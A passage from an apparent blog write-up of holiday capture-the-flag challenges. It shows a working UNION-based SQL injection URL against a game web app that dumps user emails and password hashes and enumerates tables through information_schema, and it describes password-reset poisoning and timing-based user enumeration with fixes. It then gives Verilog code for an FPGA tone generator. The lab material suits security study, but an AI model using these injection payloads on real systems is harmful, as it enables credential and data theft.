query += " OR id="
}
query += "?";
}else{
query = "SELECT * FROM uniquecontact WHERE id=?"
}
m.raw
is unusual. Searching for .raw in the documentation finds the following warning: Caution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input.
To confirm the issue, I tried to union with the users table /detail/1,UNION+SELECT+*+FROM+users
which gave me an "Internal Server Error", confirming that the SQL injection was genuinely there, but not giving me any details about the query ran.
At this point, I figured it'd be easiest to run locally so that I could print the resulting query string and see exactly what was going wrong. The first issue I encountered was that + wasn't decoded to space. Fortunately %20 was, so that wasn't too much of an impediment.
Using %20 gave me a much clearer error:
Conveniently, users have the same number of columns as uniquecontact, so it seemed like it'd be easy to dump.
When using a "UNION" query, you must make sure the columns from the first sub-query match the queries from the second. This mostly works between uniquecontacts and users, except that the 7th column for uniquecontacts is a date whereas for users, it's a token. The HTML template tries to format the token into a date (<%= dateFormat(encontact.date_update, "mmmm dS, yyyy h:MM:ss") %>
, causing the error seen.UNION NULL,NULL...
, but the ids are split on commas so that would end up with the invalid syntax OR NULL OR NULL
An alternative to using commas is to use subqueries instead. EG UNION SELECT NULL, NULL
is equivalent to UNION SELECT * FROM ((SELECT NULL) JOIN (SELECT NULL)
. It's far less readable, but we can use it to return a default date where needed:
GET /detail/1,2%20UNION%20SELECT%20*%20FROM%20((SELECT%201)A%20JOIN%20(SELECT%20name%20FROM%20users)B%20JOIN%20(SELECT%20email%20FROM%20users)C%20JOIN%20(SELECT%20password%20FROM%20users)D%20JOIN%20(SELECT%201)E%20JOIN%20(SELECT%20curDate())F%20JOIN%20(SELECT%20curDate())G)%23
That dumps the users and passwords
- placeholder@jackfrosttower.com 17746781297
- 1@1.1 1@1.1
- root@localhost $2b$10$FTkzq07Az57M.Q8jw7ehB..h5Vdc3Vw04zQzJIt294bgwg7.aV1GC
- admin@localhost $2b$10$FTkzq07Az57M.Q8jw7ehB..h5Vdc3Vw04zQzJIt294bgwg7.aV1GC
Looking back at the objective, the goal is to determine what's in Jack Frost's to-do list, so perhaps other tables are of use. We can dump those by putting SELECT table_name FROM information_schema.tables
into our second embedded query (the first has to return a number), which tells us there's a table called "todo" that's probably interesting.
To get the column names from that, we can use SELECT column_name FROM information_schema.columns WHERE table_name = 'todo'
to find that the column names are note and completed.
Adding these into the search finds the answer:
- Buy up land all around Santa's Castle
- Build bigger and more majestic tower next to Santa's
- Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
- Dishearten Santa's elves and encourage defection to our cause
- Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle (completed)
- Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
- Force Santa to cancel Christmas
- SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
- With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him
There are some other issues to note though.
First, and probably least significantly, it gets an F from Mozilla. While this isn't necessarily a big deal, someone smart often tells me that these sorts of things indicate a bad smell - the issues are easy to fix, so if you're not even bothering with that, there are likely more serious vulnerabilities to be found.
Of more importance, there is a password reset poisoning vulnerability. In the reset function, the fullUrl is set using the hostname from the request: var fullUrl = req.protocol + '://' + req.get('host') + req.originalUrl;
. This means an attacker can make a request on a user's behalf, using a host that they control. A legitimate password reset email will be sent to the user but if they click it, the attacker's site will be opened with the user's reset token. The attacker can then use the reset to change the user's password to something they know. Ideally, this code should be altered to use a trusted value but if that's not possible, the site should be placed behind a WAF that blocks requests with invalid hosts.
Additionally, there is no anti-automation protection and a timing-based user enumeration flaw, so an attacker may be able to brute force usernames. In the login path, the password is only hashed if the user exists. If the user does not exist, a redirect is immediately returned. The hash calculation takes a while, so an attacker can record the time taken to get a response with different email addresses and compare these in order to determine which email addresses are valid users. Once they have this data, they can use credential stuffing or spraying to try numerous passwords for the users until they find the correct combination. This should be remediated by adding anti-automation protections (such as recaptcha and login lockouts for usernames and IPs that fail to login too many times). Ideally, second-factor authentication should be added and/or password complexity requirements, and the password's hash should be calculated whether the username exists or not.
Of less importance, there may be a slight risk of DoS attacks in the /detail/:id form, since there is no limit on the number of ids that may be supplied or that they're unique, and I am slightly concerned that the /contact form sends back rowdata to users that should not have access to it. Fortunately it's not used in the detail template, so this isn't leaking sensitive data, but it should be removed to prevent accidental exposure and to reduce the risk of a DoS attack.
According to Express' documentation, it seems like express-session should not be used for production:
The main difference between these two modules is how they save cookie session data. The express-session middleware stores session data on the server; it only saves the session ID in the cookie itself, not session data. By default, it uses in-memory storage and is not designed for a production environment. In production, you'll need to set up a scalable session-store; see the list of compatible session stores.Since this is only a staging environment, this is probably appropriate but should be considered when moving to production.
Relevance
This felt similar to a genuine pentest to me. Pentesters are often given source code to review, since they have less time to discover attacks than attackers. Typically a penetration tester would also be given an administrative and normal user account so that they can check more carefully - eg, it would help me show the impact of the username enumeration timing attack.Objective 13: FPGA Programming
The holiday gift of the season will be the new Kurse 'em Out Karen doll, which needs to say her trademark phrase "let me talk to your manager". This is pretty complicated, so for this challenge, we'll only create a program to make a square wave tone at a variable frequency.
Beginning this challenge, I didn't know what a FPGA (Field Programmable Gate Array), or a square wave tone (equal 'on' and 'off'), and barely remembered what made a frequency (the number of repeating attempts), so watching Prof. Qwerty Petabyte's extremely accessible talk was an absolute must for me. I'd definitely recommend starting there. Unfortunately I still don't fully understand this (Physics is not my expertise) so take my explanations with a grain of salt - hopefully another writeup will cover this better!
So on to the task; the frequency is the number of repeats per second, then we can use a counter to determine how often to turn on or off the speaker. EG, if we want a frequency of "five per second", and we know our clock triggers an event every tenth of a second, then 10/5=2 - so we count to two and switch the speaker from on to off or vice versa.
For our challenge, we have a 125MHz clock and frequency input as "(0 - 9999.99Hz)" with the decimal place omitted (ie 100xHz). According to Wikipedia, "frequency is measured in hertz (Hz) which is equal to one (event) per second... For example, if a heart beats at a frequency of 120 times a minute (2 hertz), its period, T—the time interval between beats—is half a second (60 seconds divided by 120 beats)", so we can plug these details into our calculation:
threshold <= (125000000/(freq/100)/2);
. The rest of our code is largely plumbing:
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
// ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
reg [31:0] one_second_counter; // We need something to store our counter
reg [31:0] threshold; // And something to store our threshold
reg voice; // And somewhere to set the speaker
assign wave_out = voice; // And connect the speaker to voice
always @(posedge clk or posedge rst)
begin
if(rst==1)
begin
voice <= 0; // Always just stop if the rst is pushed
end
else
begin
threshold <= (125000000/(freq/100)/2); // This could probably be set outside of the loop, but we might want the threshold to be changeable while it's running
if(one_second_counter >= threshold)
begin
one_second_counter <= 0;
voice <= ~voice; // Set the speaker to not it's current value. IE on if it was off, off if it was on.
end
else
one_second_counter <= one_second_counter + 1; // Increment the one second counter
end
end
endmodule
This gets us tantalisingly close, but the frequencies are just a little bit off. It took me ages to figure out why; perhaps I listened too much to Prof Q. Petabyte's advice that this is NOT programming, and yet, like all programming bugs, this is an off-by-one error. The counter starts at 0, not 1, so our threshold should actually be threshold <= (1250000000/freq/2)*10 - 1
Making that change now works great for the 500 - 2000KHz range, and is enough to pass the objective if you are either lucky with the randomly chosen frequency, or if you just try it several times. But it's not perfect.
We were given a hint about rounding If $rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4, add 1
. Currently instead of rounding, we're just truncating when we do the division. We can make our code a little better by adding if($rtoi(125000000/(freq/100)/2) - ($rtoi(125000000/(freq/100)/2) * 10) > 4) threshold <= threshold + 1;
, which now means it sometimes gets the best match but it still sometimes doesn't.
Relevance
FPGAs are used for hardware acceleration, but I think this task is mostly just for fun?Wrap Up
Now that all the objectives are complete, click on the red machine next to Crunchy Squishter to put the FPGA into it. This will summon a spaceship who had sent Jack Frost to earth for a peaceful mission. Click on the trolls to learn the full story, and then on Santa to gain the final achievement (which is a crisis over which shirt to buy since there are now so many options!)
I feel like I'm still missing a bunch of easter eggs and extensions to the challenges (like getting domain admin in objective 8!) But unfortunately I've run out of time as per usual. As a final note, I want to mention that I enjoyed all the references to the previous KringleCons, hidden Jason, and the ability to flush Jack's toilet (even if I still can't eat the cotton candy!)
Comments
Post a Comment